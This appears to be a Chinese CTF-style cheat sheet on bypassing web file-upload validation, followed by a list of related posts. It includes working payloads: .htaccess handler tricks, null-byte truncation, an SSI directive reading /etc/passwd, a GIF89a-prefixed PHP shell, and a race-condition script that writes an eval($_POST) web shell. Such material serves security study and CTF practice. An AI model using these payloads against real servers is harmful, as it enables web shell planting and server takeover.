两种校验方式

  • 客户端校验(javascript校验)
  • 服务端校验

客户端校验

绕过方法

  • 抓包改包
  • 禁用JS

禁用JS

  • 如果是弹窗提示,打开控制台->网络,上传时没有请求发出去,说明是在本地校验
  • 火狐插件-yescript2
  • 老版本可以使用WebDeveloper

抓包改包

用bp抓包后直接改后缀名

服务端校验

MIME类型检测

MIME类型在html文件中使用content-type属性表示

  • php举例:
if($_FILES["upfile"]["type"]!="image/gif"){
echo "只允许上传图片";
exit;
}
  • 常见文件名对应的MIME类型

    • 扩展名:gif MIME类型:image/gif
    • 扩展名:png MIME类型:image/png
    • 扩展名:jpg MIME类型:image/jpg
    • 扩展名:js MIME类型:text/javascript
    • 扩展名:htm MIME类型:text/html
    • 扩展名:html MIME类型:text/html
  • 绕过方法

    • 抓包改content-type字段
    • 改文件名后上传抓包后再改回文件名
    • 上传正常文件改文件内容
    • 。。。

后缀名黑名单校验

  • 绕过方法

    • 大小写绕过,例如Php、PhP
    • 利用黑名单中没有的,但是又能够被解析的后缀名,例如php、php3、php4、php5、php7、pht、phtml、phps
    • 配合Apache的.htaccess文件上传解析

      该文件可以理解为Apache的分布式配置文件,在一个特定的文档中放置,以作用于此目录及其所有子目录。管理员可以通过Apache的AllowOverride指令来设置/etc/apache2/apache2.conf,默认是NONE,需要为ALL

    <FilesMatch "xxx.jpg">
    SetHandler application/x-httpd-php
    </FilesMacth>

    不能写<?时使用伪协议

    AddType application/x-httpd-php .wuwu
    php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"
    name = getname(http request)//假如这时候获取到的文件名是test.asp.jpg(asp后面为0x00)
    type = gettype(name)//而在gettype()函数里处理方式是从后往前扫描扩展名,所以判断为jpg
    if(type==jpg)
    SaveFileToPath(UploadPath.name,name)

    在第一个后缀名后加一个空格(0x20),使用bp->repeater->hex,将其改成0x00

    • 超长文件名截断上传(windows 258byte | linux 4096byte)

      使用./或.
    • shtml

      当Web服务器为Apache和IIS(支持SSI功能的服务器)且开启了SSI与CGI支持

      <!--#exec cmd="cat /etc/passwd"-->

后缀名白名单校验

  • 配合Apache的解析缺陷

    Apache的解析漏洞主要特性是从后面开始检查后缀,按最后一个合法后缀

内容头校验

  • 绕过方法

    在恶意脚本前加上允许上传文件的头标识

    GIF89a
    <?php phpinfo(); ?>

竞争上传

  • 情景

    文件上传后,检测是否合法,不合法就删除
  • 利用方式

    在删除前访问到上传的文件
    <?php
    $file = 'web.php';
    $shell = '<?php eval($_POST["key"])?>';
    file_put_contents($file,$shell);
    ?>

    用bp同时上传和访问

  • 例子

    https://github.com/backlion/demo/blob/master/lfi_phpinfo.py

php崩溃导致tmp文件保留

当存在include的时候,传入file=php://filter/string.strip_tags/resource=/etc/passwd会导致Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除。但是这时还需要知道tmp目录下的文件名

过滤<?php

  • js标签绕过,需要php小于7.0
<script language="PHP">
$fh=fopen("../flag.".strtolower("PHP"),'r');
echo fread($fh,filesize("../flag.".strtolower("PHP")));
fclose($fh);
</script>
  • PHP开启短标签即short_open_tag=on时,可以使用<?=$_?>输出变量,在PHP 5.4 之后默认支持

CTF 文件上传的更多相关文章

  1. ctf.show_web13(文件上传之.user.ini)

    这是一道文件上传题,先二话不说丢个图片码,显示为 先考虑文件太小,用burp抓包,添加了一堆无用的东西后显示仍然是error file zise,直到上传正常图片依旧如此,考虑文件太大.将一句话木马修 ...

  2. 文件上传和WAF的攻与防

    Author:JoyChouDate:20180613 1. 前言 本文的测试环境均为 nginx/1.10.3 PHP 5.5.34 有些特性和 语言及webserver有关,有问题的地方,欢迎大家 ...

  3. Web文件上传靶场 - 通关笔记

    Web应用程序通常会提供一些上传功能,比如上传头像,图片资源等,只要与资源传输有关的地方就可能存在上传漏洞,上传漏洞归根结底是程序员在对用户文件上传时控制不足或者是处理的缺陷导致的,文件上传漏洞在渗透 ...

  4. 2020/1/30 PHP代码审计之文件上传漏洞

    0x00 漏洞简介 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力.这种攻击是最为直接和有效的,"文件上传"本身是没有问题,有问题的是 ...

  5. Upload-labs 文件上传靶场通关攻略(下)

    Upload-Labs靶场攻略(下) Pass-11 GET型传参,上传目录可设置,考虑00截断,在/upload/后添加1.php%00,即可上传 Pass-12 POST型传参,上传目录可设置,P ...

  6. jquery.uploadify文件上传组件

    1.jquery.uploadify简介 在ASP.NET中上传的控件有很多,比如.NET自带的FileUpload,以及SWFUpload,Uploadify等等,尤其后面两个控件的用户体验比较好, ...

  7. 11、Struts2 的文件上传和下载

    文件上传 表单准备 要想使用 HTML 表单上传一个或多个文件 须把 HTML 表单的 enctype 属性设置为 multipart/form-data 须把 HTML 表单的method 属性设置 ...

  8. Java FtpClient 实现文件上传服务

    一.Ubuntu 安装 Vsftpd 服务 1.安装 sudo apt-get install vsftpd 2.添加用户(uftp) sudo useradd -d /home/uftp -s /b ...

  9. 小兔Java教程 - 三分钟学会Java文件上传

    今天群里正好有人问起了Java文件上传的事情,本来这是Java里面的知识点,而我目前最主要的精力还是放在了JS的部分.不过反正也不麻烦,我就专门开一贴来聊聊Java文件上传的基本实现方法吧. 话不多说 ...

随机推荐

  1. 【开发工具】- Myeclipse10.7破解方法

    1.下载myeclipse 10,如果没有,可以使用链接:https://pan.baidu.com/s/1l9juqD4ALMuepVL6e5kgjA 密码:kpx6:当然时间久了可能链接失效,如有 ...

  2. Flask蓝图Blueprint和特殊装饰器

    Flask 中的 蓝图 Blueprint 不能被run的flask实例:相当于django中的app01 应用 蓝图作用:功能隔离 路由隔离 Blueprint就是 一个不能run的flask 蓝图 ...

  3. linux技能四 用户管理

    用户管理:用户类型,添加用户,修改用户,删除用户,查看用户信息,用户的切换,添加组,修改组,删除组,查看组 用户类型:超级用户:root,UID=1 系统用户:运行系统服务的,不能登陆的,UID=(1 ...

  4. PHP 两个比较运算符 [??] [?:] 差别

    1.[??] NULL 合并操作符$a ?? $b即isset($a) ? $a : $b; 注:isset() 已设置并且不为NULL 2.[?:] 三元运算符的简写形式$a ?: $b即$a ? ...

  5. Ubuntu创建启动器(快捷方式)的方式

    解压.tar.gz的navicat之后发现不能自动生成启动器了,研究了一下发现: 虽然不少带有图形界面的程序会在安装时自动在桌面上创建快捷方式,还有一些图形界面程序或者命令行程序可能需要你手动创建快捷 ...

  6. 微信小程序~项目步骤和流程

    从运营的角度讲制作,不是从程序的角度讲开发,所以简单明晰,通俗易懂,小白也能按照流程完成制作. 微信小程序制作步骤及流程 1.确定好微信小程序的的定位和目的 如行业,功能,内容,目标用户,目标市场,意 ...

  7. poi读写doc和docx

    https://www.cnblogs.com/always-online/p/4800131.html POI是 Apache 旗下一款读写计算机中的 word 以及 excel 文件的工具. po ...

  8. winafl 源码分析

    前言 winafl 是 afl 在 windows 的移植版, winafl 使用 dynamorio 来统计代码覆盖率,并且使用共享内存的方式让 fuzzer 知道每个测试样本的覆盖率信息.本文主要 ...

  9. 学习Microsoft Visio(2)

    常用业务设计图示法 一.业务设计基础 1.名词概念 业务流程图:在公司.部门.岗位的层面上描述一个业务流程的宏观过程. 基本流程图:对某个处理过程的详细逻辑流程进行描述. 静态业务对象图(UML表示法 ...

  10. docker-compose部署zabbix4.2.5

    桥接模式(mysql和zabbix-server镜像本人修改了一些配置进行重构过) cat zabbix.yml version: '3' services: mysql: image: debian ...